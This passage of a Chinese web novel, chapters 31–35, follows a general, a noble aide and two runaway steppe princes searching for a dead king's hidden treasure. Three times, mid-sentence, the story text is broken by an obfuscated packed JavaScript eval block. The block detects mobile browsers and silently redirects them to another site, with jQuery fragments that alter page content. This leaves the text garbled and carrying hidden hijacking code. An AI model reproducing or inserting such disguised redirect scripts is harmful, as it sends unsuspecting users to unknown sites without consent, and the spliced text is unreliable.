白阳来用瓷筷夹起一个卤制的鹌鹑蛋放在燕昭鹏碗中,无视三人之间的你来我往,泰然自若地招呼客人:“两位尝尝这鹌鹑蛋,味道很好,很入味,配小米粥极佳。”同时示意燕昭鹏粥要凉了快吃。 丛英,丛英夹不起来鹌鹑蛋,燕昭鹏与苏善看着他努力了好几次用力捏着筷子的动作“噗嗤”一声同时笑了。原本凝滞的气氛重新缓和了下来,四人终于开始正常吃饭。 丛英拿起瓷勺终于舀起两个鹌鹑蛋,他一边吃一边嘟囔:“燕家了不起吗,再厉害不还是臣,我们可是王。” 苏善闻言顿了一下,他比丛英敏锐一些,早在起床穿衣的时候便发现了端倪。他们出来没带任何行李,亲卫们呈上来的衣裳却一直都是合身的,昨日太过疲累让他没有注意这些细节,今日一看,不但今日的新衣裳鞋袜俱十分合身,就连他与丛英沐浴之后睡觉之时所穿的寝衣,都是各自合适的。再看衣裳的料子、做工、绣工,就连那些纹样,都看得出必是专工细做的精品。苏善跟着白阳来赶过路,知道他虽然长得精致俊雅但其实并不十分讲究这些,那就只可能是燕长风的那个孙子了。再到今日这桌早膳,不说吃食,单是这满桌的莹润瓷器,燕家的实力便可见一斑。 苏善心里想着这些没有说话,丛英嘟囔两句之后见无人搭理,心中突然十分委屈,吃着吃着竟然掉下泪来。 燕昭鹏有意压一压两个小孩的气焰原本不过是因为他们口无遮拦再前,之后白阳来又要与二人一同寻宝,觉得有必要立一立规矩。现在看他们一个低头沉默,一个竟然哭了,一时也有些无奈。 初时,燕昭鹏只觉得他们未免太脆弱了,继而转念一想,两人毕竟是从小矜贵着长大的小公子,如此这般也算是有情可原;再往深里想去,自己也是在世家大族中被人捧着长大的,不知道自己在他人眼中是不是也如此脆弱。 燕昭鹏看向白阳来,只见一旁的白阳来眉毛已经皱了起来。 从怀中掏出一方棉帕放在丛英手边,白阳来平静的声音听起来很是可靠:“公子要好好吃饭,男儿郎要好好吃饭长得高大健壮才能不让自己受委屈。” 丛英抓过手帕胡乱擦着脸,苏善也握紧了手中的筷子,两人因白阳来的话生出了一丝感动。 白阳来安然如故地夹菜吃饭:“再说,你们比不过他也没什么好委屈的,这很正常。不要想太多,尽早习惯比较好。” 燕昭鹏第二次被逗笑。 白阳来茫然转头,怎么了? 对面的苏善和丛英在听到白阳来这句话的时候,握着瓷筷和瓷勺的手同时加重了力道,两只手用力得指尖发白,头顶冒出的怨气如有实质。虽然形势比人强是事实,可这话听着也太气人了,伊奇达罗布岩陀和塔纳云罗丹都不服气! 只有燕大郎君心情甚是舒畅,并因此大发慈悲地决定对两个黑着脸的客人指教一二:“不必怨怒,听白将军的话那是一点儿错都没有。” 燕昭鹏指点江山道:“燕家虽是臣,可臣也分谁的臣,我们燕家是大睿王朝世代圣人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303958|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忠臣良将;而你们这个王,不过是不出草原的一地之主而已。” 他看着苏善这个年幼丧父的小王子,决定委婉一点:“你我如今的情势就不说了,单论一论我们背后的这臣和王。” 一说这个苏善的眼中也滴出泪来。 燕昭鹏与白阳来同时叹了一口气。 白阳来温声道:“你先别忙着沉溺在自己那些情绪里,先听听他要说什么。” 苏善与丛英整理了一下抬起头来,这样子倒真像是两个不服气的学生,燕大郎君便也开始认真教导:“狮王的功绩世人皆知,即便他壮年早逝,草原上的山与水也会将他的威名传颂不休,你身为他的儿子对这样的父亲有无尽的孺慕之情是应该的,但你也是从小识字读过书的人,应当知道‘人外有人,天外有天’的道理。你了解草原,知道在这片地方狮王是无比勇武的英雄,但你了解草原之外的天下吗?你知道草原之外广阔的天地中有多少经天纬地、惊才绝艳的人物吗?你离开王城是对的,王城太小,只在王城中长大的小王子做不好狮王的嗣子,承担不起他曾经征服过的这片草原。” 一席话说的苏善丛英心潮澎湃,看向燕昭鹏的眼神仿佛他就是那照世明灯、人生知己。 白阳来低头浅笑,燕郎君出手了啊,果然功力不凡,这操心的命真是说开始就开始了啊。 燕昭鹏一脸正色:“再来说我们燕家。方才说让你们不要拿我做比,说的也不只是你们,是除了少数几家之外的几乎所有人。你看,你的父王只是在草原称了个王建了个城,这王位甚至都没能顺利传到你的手中,你就已经这么傲气了,你可知我们燕家传承至今已经多少代了吗?你以为你泼岩麻一族二三十年的经营很了不起吗?那我燕家十几代的平顺传承又该怎么说?” 燕昭鹏的眼睛,桀骜之中带着冷静自持:“想跟我比,先过一个百年再说吧。” 燕大郎君亲自出马收服了两个别扭的小公子,为白阳来交涉狮王宝藏一事铺就了一片坦途。 四人饭后详谈了许久,白阳来给他二人加强了保卫之后,苏善与丛英便带着燕昭鹏送给他们的书册与各种小玩意儿回了自己的营帐。 白阳来与燕昭鹏去向雍大将军禀报了两人商讨出来的行动计划,雍长龄对这个初步的行动计划表示基本满意,指出了几点两人的疏漏之后又对他们一番提点,找寻狮王宝藏的事情便初步定了下来。 两日后,整装完毕的前锋营在白阳来的带领下出发寻宝,当然对外还是伪装成商队,燕昭鹏、苏善与丛英被保护在队伍中间,分乘了两辆马车。 丛英扭捏害羞地说:“我想与燕长史同车。” 昭鹏尚未开口,背着手站立一旁的白阳来便居高临下地板着一张俊脸道:“你也可以骑马。” 苏善摇了摇头自己上了另一辆车,丛英犹豫了一下,还是不想骑马,跟着苏善上了车。 燕昭鹏不知是不是身体渐好的缘故,最近都很喜欢笑,甚至觉得这个丛英蛮可爱的。自从被燕昭鹏教导一番后丛英竟然开始对他产生了几许孺慕之情,总想与他多说两句话,每每惹得燕昭鹏发笑,白阳来无语。 检查完毕,人、物齐备,白阳来上马,领队出发。 32.第 32 章 这一行十分曲折,主要是苏善只有地图根本没来过,不能确定路线甚至连方向都只知道个大概。 日暮十分,一行人选了一个背风的地方用车和马匹围出一方空地扎营休整。 燕昭鹏宽慰苏善:“不要急,我们既然要找,自然是找到为止,这一次找不到就再来一次,没关系的。” 丛英也在一旁抚着苏善的肩膀:“对啊,没关系的,你当时还那么小,狮王又没有留下图纸之类的东西,找不到很正常嘛。”苏善皱着眉抬头,露出一双愁得通红的眼睛,用焦躁而忧怒的目光看向丛英。丛英反应了一下自己刚才的话,连忙没轻没重地拍了拍他,:“不是,我是说,难找是正常的,如果好找的话还能等到现在让我们来找吗,早被别人分完了。不急,不急啊。” 苏善先是被他一掌下去拍歪了身子,重新坐好之后再听丛英的后半句话,不得不说确实有道理,于是眉头略松,再次低下头去思考路线。 白阳来安排好今夜宿营及防卫诸事后,带着热腾腾的食物回来了,见苏善埋头不语,与燕昭鹏对视了一眼,燕昭鹏仰起头向他微微摇了摇,白阳来便心中有数了。 他唤苏善道:“先把东西收一收放到车里,吃饭要紧,燕长史不能吃凉的。” 苏善沉默着将摊开的东西收好,大家帮着把食物摆开,围坐在一起开始吃饭。旁边的士兵们升起了火堆,他们这里因为苏善刚才在摆弄纸笔没有生火而是点了灯。 苏善接过白阳来递给他的热汤,看着被地上的食物围在中间的燕昭鹏从车上让人拿下来的那盏明亮的花梨木底座高刻四君子纹琉璃灯说:“父王就是这样将宝藏的路线告诉我的。” 众人都停下了动作,给了苏善一个安静的环境回忆过往。 狮王宝藏的路线被阿克金隐秘地留给了儿子,这么多年除了苏善没有第二个人知道。阿克奇和鹰王豹王,甚至是泼岩麻朝廷中的许多大臣、贵族都私下里偷偷找过,硬是没有任何人找到过蛛丝马迹,就连贞慈太后都全然不知。在王城,狮王宝藏经过了许多年的寻找之后被最终认定为只是一个传说。 然而它是真实存在的,苏善坚信。 “自那次父王突然倒地不省人事之后,我就总是很害怕,一看不见他就哭,而且当时刚迁入王城,我自己住一间很大的宫殿,非常不习惯。母后她自从生下我之后就一直身体不好,她说生我太艰难,看见我就浑身疼。” 丛英原本一直盘腿坐在苏善的旁边,听到这儿犹豫了一下没有说话,换了个抱膝的姿势把自己团成一团,将下巴放在了自己并在一起的两膝中间。 苏善的余光看见了他的动作,扯出一个笑:“我知道,她是塔纳云罗丹最宝贵的明珠,是为了族人才嫁给我父王的;我也知道父王有时会对她发脾气。”苏善说着说着又滴下泪来:“可是我有什么错?她为什么能那么不喜欢我?”苏善无比难过地说:“浑餮怜生得难看又不懂事,可她却愿意陪他吃点心……她从未单独与我吃过一顿饭,父王在的时候偶尔一起吃饭她也从不照顾我,甚至都不看我。”苏善哭着笑了,笑容难看又心酸:“然后父王就会对她发脾气,她就会哭,我也跟着哭,次次不欢而散。” 丛英抱膝坐在旁边不知在想什么,苏善沉浸在过去痛苦的回忆中哭得难以自拔丛英也没有像往常一般安抚劝慰。燕昭鹏看不下去了,掏出丝帕扔了过去,这下丛英反应倒快,发觉有动静直冲自己而来他一个偏头抬手便将丝帕握在了手中。丛英看看丝帕,柔软亮泽还绣着滚滚水纹,挺漂亮的,谁扔过来的?燕昭鹏都要笑了。还好丛英发现苏善在哭,立刻反应了过来,将丝帕递给了苏善,并且说:“我们家姑奶奶也有许多委屈的,不是只有你委屈。别说这些没用的了,说正经事。” 白阳来与燕昭鹏同时对丛英另眼相看,这两句话说得极是简洁明了清醒有理,亦十分有效验,立刻便止住了苏善的哭泣。白阳来与燕昭鹏随即开始在心中暗自反省,自己不应该小觑丛英,以为他只是个长于锦绣膏粱之中的纨绔公子。从这一点上说,白阳来与燕昭鹏的不约而同很多时候是连亲兄弟都未必能有的。这当然得意于他二人天生的默契,但与此同时,燕家的悉心教养与经年累月中耳濡目染的教化之功也非同小可。 苏善擦干了泪,短叹一声说:“我当时不喜欢新宫殿,觉得太大了找起父王来很累,想换个地方住,但是,父王说那是他专门为我建造的住处。他从中原带回来的能人中最厉害的那一个为他设计了两处地方,一处就是我在王城宫殿中的卧房,另一处,当时他说让我等以后长大了再去看。” 苏善深深喘了两口气,终于将方才伤心的情绪渐渐平复,说话的声音也冷静了起来:“父王为了安抚我陪我在那间卧房中睡了一个多月。后来,他离世半年前我病了,他又来陪我睡了月余。那一次,他每天半夜都会把我叫醒,让我看月光从窗子照进来的时候在屋顶上映出的影子。” 这是一个精心设计的机关。阿克金将他从中原带回来的最好的东西都留给了自己的儿子,无数珍宝与财富,还有能工巧匠们的智慧与精湛的技艺。 苏善床头靠着的大窗户是封死的,由一大片泼岩麻传统纹饰组成了窗棂并镶嵌晶莹明亮的琉璃为窗。在高直通屋顶、宽近一丈优雅大气却纹路复杂的窗棂中,有一处很高却不显眼的棱格边缘的刻纹暗藏玄机。每到月上中天之时,月光透过纯净的琉璃将那处窗棂边缘的刻纹放大照映在屋顶上,此时若是躺在苏善的床上便能看见,窗棂边缘刻纹的影子与屋顶的彩绘组成了一幅地图,那就是狮王宝藏的路线图。 燕昭鹏与白阳来对视一眼,如此精妙的设计,狮王果非浪得虚名。 丛英听了之后的反应与其他人很是不同,他并未惊叹这种设计,而是一下子直指重点:“所以,你现在是忘记了地图?” 苏善立刻如一只炸了毛的猫一般冲他叫道:“谁忘记了地图?你才忘记了地图!我没有忘记地图!”他缓了一口气,声音也回落了一些说:“我只是,记不清了。”苏善满脸通红:“我也没有来过,这里……我觉得跟图里不一样。”他也很费解,这些年思念父亲的时候他整夜整夜等着月光,看着屋顶的地图不知道将那些是的不是的线条、图案用眼、用心描绘了多少次,不可能记错的。 白阳来看着他困惑又倔强地冥思苦想的样子,想起了自己当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车一晃,白阳来便侧过了头,燕昭鹏也向车门处看去,见到呆住的丛英后白阳来默然无语地收回了目光,燕昭鹏似笑非笑地磨牙道:“来干嘛?” 丛英“啊”的一声回神:“我,嗯我来找你说说话。” 燕昭鹏伸出靠着白阳来那边的胳膊从丛英眼前横过白阳来的身体将人反手拢住说:“我有人说话。”意思是不需要你,你可以走了。 没想到丛英这个没眼色的竟然进来坐下了,十分不见外地说:“那我跟你们一起说说话。” 白阳来抚了一把垂下来有些遮眼睛的长发问:“你想说什么?” 丛英脱口而出:“你为什么散开头发?” 燕昭鹏立刻针锋相对:“你管他为什么散开头发?” 白阳来看了看侧身努力挡住自己的燕昭鹏,突然觉得自己像是在听两个小儿斗嘴,正常来说不是应该不理他或者直接赶走他吗?怎么真的开始“说说话”了? 丛英很友好道:“我没有管啊,我就是问问。” 燕昭鹏很不友好道:“问什么问,这有什么好问的。” 丛英从善如流:“那我不问了。” 燕昭鹏,赢了:“哼!” 白阳来…… 33.第 33 章 众人在茫茫草原顶着一天比一天烈的大太阳,时东时西地找了整整十余日。苏善一日比一日心里没底,连丛英说话前都知道先看一看大家的脸色了。这种时候,前锋营将士们优秀的纪律作风就非常明显的体现出来了。因为白阳来与燕昭鹏依然故我,没有对毫无进展的寻找表现出任何焦躁的情绪,于是跟着出来满草原转的前锋营诸人也都只是一如既往地保持着认真和警惕,没有丝毫的不耐烦。该扎营扎营,该出发出发,苏善在休整时对着自己画得四不像地图苦思冥想,丛英坐在一边发呆时,也从未听到守卫在身边的士兵们有过半句微词抱怨。他们每日擦拭兵器,自觉地练武、跟着白阳来操练,喂马造饭,聊天时也不会议论有关苏善、丛英或是宝藏的事。润和大营治军有方由此可见一斑。 这一日,日暮十分,众人晚饭。白阳来对安静吃饭的众人说:“我们带出来的补给消耗得差不多了,明日、最晚后日,我们需要先回营一趟了。” 苏善停下吃饭的动作,点了点头又抿了抿嘴。 白阳来看他这样子就知道他是既想回去又不甘心就这样回去,遂道:“我们此次出来主要也是先探一探路的意思,没有想过一来就立刻能找到地方。便如丛英所说,如果真的这么容易,那又哪里轮得到我们来找。既如此,不妨先回营,整备好之后再来就是了。” 燕昭鹏也用玩笑的语气给苏善递台阶说:“正是如此。出来这么久我也累了,再不回去养一养我这金尊玉贵的身体可怎么受得了。” 苏善看了看他还不错的气色,知道他这也是拐着弯儿在劝自己别太钻牛角尖儿,非要一次就找到。至于燕昭鹏的身体……苏善要是没看见这短短十几天之内燕家的人三番四次神出鬼没地给他们家郎君送各种日常吃用的东西,或许自己还会相信。 第一次在队伍前方看见燕家人的时候,丛英还惊了一跳,待到第三次的时候,丛英已经飞速适应并开始期待了。而苏善,越来越觉得白阳来那时候对自己说的话确实是很有道理的,他不该跟燕长风的孙子比,这样对谁都好。 又过了一日,终于就回营休整达成合意,一行人调转马头返回。 来的时候为了找地方,走走停停还是不是调整一下方向,根本没有什么速度可言,回去的路上可就要赶时间了。燕昭鹏和苏善丛英三人待在两辆马车上,白阳来带队星夜兼程。 苏善躺在车里睡不着,丛英翻过身来看着他。苏善见丛英也没睡,跟他小声讲话:“你说,如果让燕家那些人去找父王的宝藏,他们会不会很快就找到了?” 丛英很懂他的意思:“你也觉得那些人没有找不到的人对吧?” 苏善躺着点头:“是啊,他们好厉害,不管我们在哪儿,他们都能找到。” 丛英也说:“嗯,我之前想,他们会不会有什么隐秘的传讯手段?但是那些人有时候还会提前在路上等着我们。我就觉得,他们对草原应该比我们熟悉多了。” 苏善有些失望地说:“是啊,但我跟白将军提起这件事的时候他没答应。” 那是燕昭鹏将燕家送来的吃食分给众人的时候,苏善对白阳来说:“白将军,方才那些人似乎对草原十分熟悉。” 白阳来听出来他的意思,很直接地问道:“殿下的意思是,他们比我们更熟悉这片草原是吗?”这里的“我们”指的是他和前锋营的士兵们。 苏善点头。 白阳来不置可否,只是对他说:“虽然您当初想要求助的是燕家,但如今是润和大营与您合作,那么这件事情就只能由我们来做,不能再请托他人。” 苏善一时不明白这是为何,明明他跟燕昭鹏几乎是不分彼此的。 白阳来没有解释而是面带不解地向他询问道:“说起来,殿下这般年纪,不知道雍大将军却执意要找燕大将军又是为何?”苏善听他这样一问,心思便从原来的想处转到了这个问题上,刚才的话题就这么被不知不觉地岔开了。 苏善回忆起来:双翼狮王阿克金倾慕中原的文化,在成为独霸草原的双翼狮王之后,他希望泼岩麻一族也能够像中原人一样定居在一处适宜的地方不要再随水草而迁徙。因此,建一座千百年不倒的王城让后世子孙居住在内,永享他为后人打下的草原便成了阿克金的心愿之一。 苏善说:“父王年轻的时候在草原上遇见过燕长风大将军,那时候他还年轻,他说燕大将军教了他许多做人做事的道理,他们俩是惺惺相惜的朋友。” 对此,燕昭鹏表示:怎么可能。 苏善从他的表情中看出了不认同,他轻哼了一声,反正父王说他与燕大将军是朋友,那就是!燕昭鹏又知道什么?中原人对草原部族总是心怀成见。 苏善也很不认同地说:“父王一直跟我说燕家对子孙的教养极好,哼!” 燕昭鹏才不惯着他,凉凉道:“你是有什么不舒服吗,一直哼什么哼,找不到路就算了现在连话也不会好好说了?” 苏善一听见“找不到路”迅速没了气焰,又想“哼”但忍住了,转回正题道:“父王觉得中原文化之所以辉煌灿烂令人向往就是因为那里一代一代的人都识字读书,日积月累之下教化之功非比寻常。可是草原部落每年随水草迁徙,孩童们难有安心读书的条件,如果有了王城,那么部落依旧可以逐水草迁徙,而孩童们也能在王城中安心读书,两厢便宜。这样一来,我们泼岩麻一族既保留了祖先的强壮勇猛又学习了中原的文化传承,今后一定能越来越强大。” 不得不说,阿克金能称霸草原靠的的确不是单纯的运气,其洞察深微而见识不凡,确系不世出之大才。 燕昭鹏从燕长风的手记中看到过他对阿克金的评价,作为大睿的武将,燕长风完全是将阿克金作为一个敌人而绝非朋友来看待的。在他看来,年轻时候的阿克金就已经是一个强劲的对手了,虽然为人贪婪且凶性极重但很识时务。针对这样的特点,燕长风认为,如果想要遏制他,就必须在他还未真正成熟起来之前彻底把他打垮、打怕了,让他认识到并且深信他是不堪与大睿为敌的。否则待到他真的统合了草原全部的力量再入侵中原,那对于大睿来说,绝对会是一场旷日持久的恶仗。即使这场恶仗大睿能够赢得最后的胜利,也必然会对国力造成极大的损耗。因此,在阿克金羽翼未丰时,燕长风率军前后三次痛击了意欲在大睿边境为乱的阿克金,在草原上划出了纵深二十里的“安全地带”,告诉阿克金,大睿有他燕长风在,泼岩麻的军队就不许过这二十里,否则他就再来灭他一次。 最后一仗中,燕长风一如自己计划的那样,将阿克金打垮了,也打怕了。阿克金在这一仗中输得可谓是伤筋动骨,泼岩麻二十万铁骑元气大伤不说,他麾下最厉害的大将在这一战中死了七个。逃回草原深处的阿克金休养了很久才缓过来。他铁腕强娶塔了纳云罗丹最娇美的明珠并借此收服塔纳云罗丹一族便是在此次战败之后。阿克金的铁骑只要不对阵燕长风,在草原上还是所向披靡的。有了塔纳云罗丹一族的加持,阿克金在草原的影响力空前高涨,恢复了元气之后他将原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15346605|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎视中原的目光转回了草原,准备在草原腹地建造一座属于自己的王城,谋求部族的发展和强大。 原本,大睿与草原有两处互市地点,因为交易总量较少,这两处互市便已经能够满足大睿对草原货品的需求了。后来,两方开战,互市随即关闭。到了现在,阿克金要在草原建城,亟需中原的各种物资,只好让边境的州府传信大睿朝廷,请求重开互市。 文帝的回答是一声冷笑。 于是,草原与中原开始了心照不宣的走私时代。 朝廷虽然不开互市,但中原与草原的贸易朝廷也不收税金,你胆大你就去,后果自负就是了。自古富贵险中求,大战之后边境平稳,中原边境各州与草原各部族便开始在燕长风划下的二十里安全地带之间做起了生意。就连阿克金自己都装扮成富商去过不少次,当然,他后来觉得安全地带中售卖的东西不能满足他的需求便直接带人到中原大城中去采买劫掠,这就是后话了。 也有不少为非作歹之人在两地贸易中浑水摸鱼,白阳来与马七一家遭遇的歹人,便属于当年借着泼岩麻欲建王城而频繁对中原贸易时隐匿在其中胡作非为的势力之一。 苏善继续回忆:“父王在世时只有我们一族居住在王城,地大人少,全然不是现在这个样子。我在王城中骑马,看父王打猎,每日都玩得很快活,父王告诉我大睿帝都的皇帝家就是这个样子的。” 可惜好景不长,阿克金去世之后阿克奇继位,为了稳定泼岩麻朝中的势力,讨好大贵族,阿克奇让各大贵族都住进了王城。从那以后,苏善活动的地方就只有后宫了;浑餮怜出生之后,他就连自己的宫殿都很少出了。 苏善委屈又可怜地说:“阿克奇和母后都不许我离开王城,我对外面的事情也所知甚少。我知道有人将阿克奇狠狠地打败了,但是不知道那就是雍大将军,而且还打了他个七战七捷!”说到这儿,苏善又高兴起来,语气痛快中带着感激:“我当时要是知道,一定给雍大将军遥敬三杯酒以示谢意!阿克奇那个蠢货,回来就气死了。” 阿克奇的死让苏善大感快意,哪怕后来是浑餮怜坐上了王位,苏善念及贞慈太后也并未深恨。这样看来,同出伊奇达罗布岩陀的血脉,相比于阿克金阿克奇两兄弟,苏善确实是善良宽厚的性子,如果不是后来浑餮怜欺人太甚,或许他也不会这样不计后果地出走。 回程的马车颠簸在星月苍穹之下,苏善与丛英同时叹了一口气。丛英叹息说:“燕大将军与雍大将军到底是不一样的,就像伊奇达罗布岩陀和塔纳云罗丹从来都不一样一样。”这话有点绕口,但苏善听得十分明白。伊奇达罗布岩陀和塔纳云罗丹不一样,他和丛英也不一样,但他们都是绑在一起的,这一点,两族和他们两人是一样的。 回到润和大营之后,苏善将头脑中记下来的地图画了出来交给了白阳来,他说:“这是我合作的诚意,还请白将军不要辜负我的信任。” 人会在一夜之间长大,坚强与独立才能为自己赢得尊重。 白阳来没有接苏善的地图,而是对他说:“殿下合作的对象应该是大将军,地图也该由您亲手交给他才对。” 苏善发自内心地露出了一个笑,这一瞬间他感到了久违地轻松,不是因为终于将深藏许久的秘密交付出去而如释重负的轻松,而是对于未来、对于自己突然有了信心和期望因而感到轻松。这种突然的信心与期望,来自白阳来对他表现出的尊敬与郑重,那是对一个王子的尊敬与郑重,是苏善小时候感受过但久违了的尊重。 34.第 34 章 雍长龄摆出仪仗,郑重地接过了苏善的地图。薄薄的一张地图是这个少年的父亲留给他唯一的念想,也是他现在唯一能够倚仗的东西。对苏善来说,给出这份地图不啻于将他的身家性命都交托到了别人的手中,甚或这张图的意义比性命更重。 没来由地,苏善相信白阳来,而白阳来的雍大将军的信任和尊崇,任谁都看得出来,所以苏善也愿意相信雍长龄。即使再多想一想,雍长龄可是七战七捷打败了阿克奇的人,怎么想也是好人。 苏善今年就十六岁了,他从小长在深宫之中,虽然周围再没有像阿克金那样真正爱护他的人,但他毕竟是阿克金唯一的血脉。这些年来双翼狮王的余威能在草原上一直护佑着泼岩麻一族,让他们继续脚踩一众杂部沉浸在草原霸主的美梦中,自然也能在王城护佑苏善,让他锦衣玉食地长大,顺利地识字读书。但也就只是如此了,苏善被养在深宫不准外出,成长的环境消息极为闭塞,所以想法也就更为单纯一些。不过,促使他将地图赠出并非全然出自于对白阳来和雍长龄的信任,更因为他们这一趟出营寻宝让苏善备受打击。原本,他以为凭着他对父王多年的思念、凭着这些年他用眼神描绘过那张屋顶地图无数遍的熟稔,自己一定可以马到功成找地到父王留给他的东西。完全没想有到,想象与实践的差距会有如此之大,出去寻路寻得是一塌糊涂,找到最后他觉得自己连东南西北都分不清了;自以为刻在心里的地图亲手画出来竟然也画得乱七八糟;最初的几张甚至自己都看不下去。苏善对自己实在是很失望,这种失望让人害怕,让他的心越来越沉。苏善全身发冷地想,这样下去自己即使知道地图恐怕也不可能找到父王留下的痕迹,不如干脆交出去搏一把。 丛英对此是同意并支持的,而且他的分析有理有据:“你不愿把图画出来,我理解;但是现在你想将地图交给白将军他们,我更支持。你想啊,虽然这图很重要,但如果连地方都找不到的话那就更不可能找到宝藏了。一个地图狮王都藏得那样机密精妙,真正藏宝藏的地方只会更不一般,就算咱们能找到地方,里面的东西恐怕不是轻易能拿到的,尤其是如果单凭咱们两个的话,我觉得”丛英不看好地摇了摇头:“与其到时候再开口,不如索性现在就交托出去。”丛英凑到苏善耳边有些忸怩地说:“虽然这么说很灭咱们的气势,但说句实话,如今连咱这两条小命实际上都是放在别人手里的,一幅图又算得了什么?狮王给你留东西还不是为了让你活得舒坦,那你总要先有命活才说得上舒不舒坦吧。” 苏善知道他说的在理,自己一直犹豫也只是在犹豫:“现在地图只有我知道,咱们还算有点保障,要是连图都交出去了,那咱们俩个不是没用了?” 丛英觉得不然:“怎么叫没用了呢?咱们最重要的不是咱俩的身份吗?你想想,狮王只有你一个儿子,这是举世皆知的,这身份才是你最大的筹码。图不过是死物,人才最贵重,这个道理我都知道,他们能不明白?至于我,塔纳云罗丹确实不只我一个儿子,但是我父亲是不会让别人越过我继承族产的,除非……”说到这里丛英突然害怕道:“完了,父亲不会因为我突然失踪伤心欲绝吧?那可不行啊,他可一定要撑住啊!如果他有什么不好,那我才是真完了。不不,不会的不会的。我父亲,雄鹰一样的男子,他一定什么会事儿都没有强壮又健康的。” 苏善原本还有些郁郁地烦闷,这一下生生被丛英给全然驱散了,他虽然一时还笑不出来,但堵着的心绪也消散了,推了一把突然担心的丛英,苏善没好气地说:“既然这么担心,当初为何还要跑?” 丛英怒道:“你这是什么话?我不跑难道要你一个人跑吗?那你万一死在哪儿都没人知道!再说了,我要是真的不跑,我父亲是一定会让我娶金妍殊的。我在她面前,一句话都说不出来,娶了她难道要我活活憋死吗!” 说到这里丛英忍不住感叹道:“父亲虽然爱我,但他毕竟是族长,要为全族的未来考虑,我 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他双臂交叉抱着自己有些颤抖地轻声问:“那我要是没成功呢?” 苏善看着丛英如澄明的湖水一般清澈见底的眼睛,满满的信任、无限的依赖与深深的恐惧一望而知。丛英心中一痛,鼻子一酸直冲上头,他左右握住苏善抱着自己身体的冰凉双手发誓一般地说:“大不了就一起死呗,那又怎么了?你不用怕,人都是要死的。咱们这辈子要是一起死了,说不定下辈子就能做亲兄弟了。”这样,我们立场一致,那些事我也可以不用瞒着你了。 苏善被他这样一说果然不再害怕,他抱住丛英大哭了一场想要将心中一直藏着的害怕统统发泄出来。有人愿意陪自己一起死,那还有什么可怕的,地图给就给了吧,一切总不会比现在更差了。 年轻人因为年轻,在想到未来的时候总是更容易乐观,觉得未来再怎么样也一定不会比现在更差,然而现实会告诉他们:这可不一定。 35.第 35 章 白阳来的队伍第三次出营寻找宝藏地点的时候,原定分裂鹰王与豹王的计划甚至都已经初见成效了。 一望无际的草原上烈日煌煌,燕昭鹏手捂额头对车窗外骑在马上的白阳来说:“你让他们停一下,我缓一缓。” 丛英也头晕得要吐了,扒着行驶在白阳来另一边的马车车窗奄奄一息道:“我……我要下车。” 然而苏善并未分神,他现在的状态显然已经钻进了牛角尖,全神贯注于手中的地图,一边扫视着四周一边提高声音又重复了一遍:“就是这儿!我感觉到了,一定就是这里!我的感觉前所未有的强烈,地点就在这附近!” 燕昭鹏长舒了一口气,忍耐地对骑行在他马车另一边亢奋的苏善说:“你先不要急,停下,让我喝口茶。” 苏善哪会愿意,仍旧紧握着马缰说:“你在车上也能喝茶。” 燕昭鹏终于怒了,手一甩被他握了一路的醒神膏小罐子击打了在车壁上,“咚”地一声:“我要喝热的,你给我下来烧水!” 车队终于停下,丛英挣扎着从车厢里扑出来,燕家的亲卫也扶着燕昭鹏下了车。苏善当然没有去烧水,这些事燕家亲卫不会假手他人。苏善从怀中翻出雍长龄命军中的绘图高手重新绘制的地图,凑到了刚刚下马、还在遥望观察前路的白阳来身边。 白阳来手里也拿着一幅地图,雍长龄命人一共绘了三份,除了他们带出来的这两幅,大营中还有一份留底。白阳来看着图寻思良久,才终于说:“我觉得好像有些不对。” 丛英感觉自己晕得不成人形,此时正扒着马车喘气,闻言道:“早就不对了,刚才就不该这么多人一起跟着绕,速度还那么快。晕死我了,难受死了。” 他抬头看了看散在四周的前锋营的士兵们,这些神人一个个生龙活虎满身精神的样子,燕昭鹏那些亲卫的气势就更别说了,丛英左右看了两眼觉得自己不仅头晕,连身体都有点儿虚了。 燕昭鹏让亲卫直接将清心醒神的茶泡在了烧水的大壶里,沁人心脾的茶香一股脑地爆发出来,弥漫在整个队伍之中,光是闻着就让人觉得神清气爽,再热热地一人来上一大碗,解渴又解乏,喝完之后顿觉筋骨爽利,浑身舒畅,方才的疲惫与不适仿佛随着冒出来的汗水消失在了阳光下。 丛英捧着银杯闻了许久的茶香,晕眩与反胃之感渐消,这才大喝了一口赞道:“燕长史果然是会享受的,这茶确实要喝热的才解乏舒坦。哎,力气回来了,我又是一条好汉!” 燕昭鹏抖开一把镂空的沉香木折扇轻轻摇动:“那好汉你来说一说,咱们接下来该怎么走?” 丛英扬了扬下巴,示意他看旁边两个对着地图埋头苦盯的人,说:“这你可别来问我。我觉得燕长史不妨先想一想,若是等会儿他俩意见一致还好,要是一个说东一个说西,那咱俩该怎么办。” 燕昭鹏扭头拍了拍白阳来让他把地图拿过来点儿他也看看:“不就是一幅地图,怎么就这么难看明白了?” 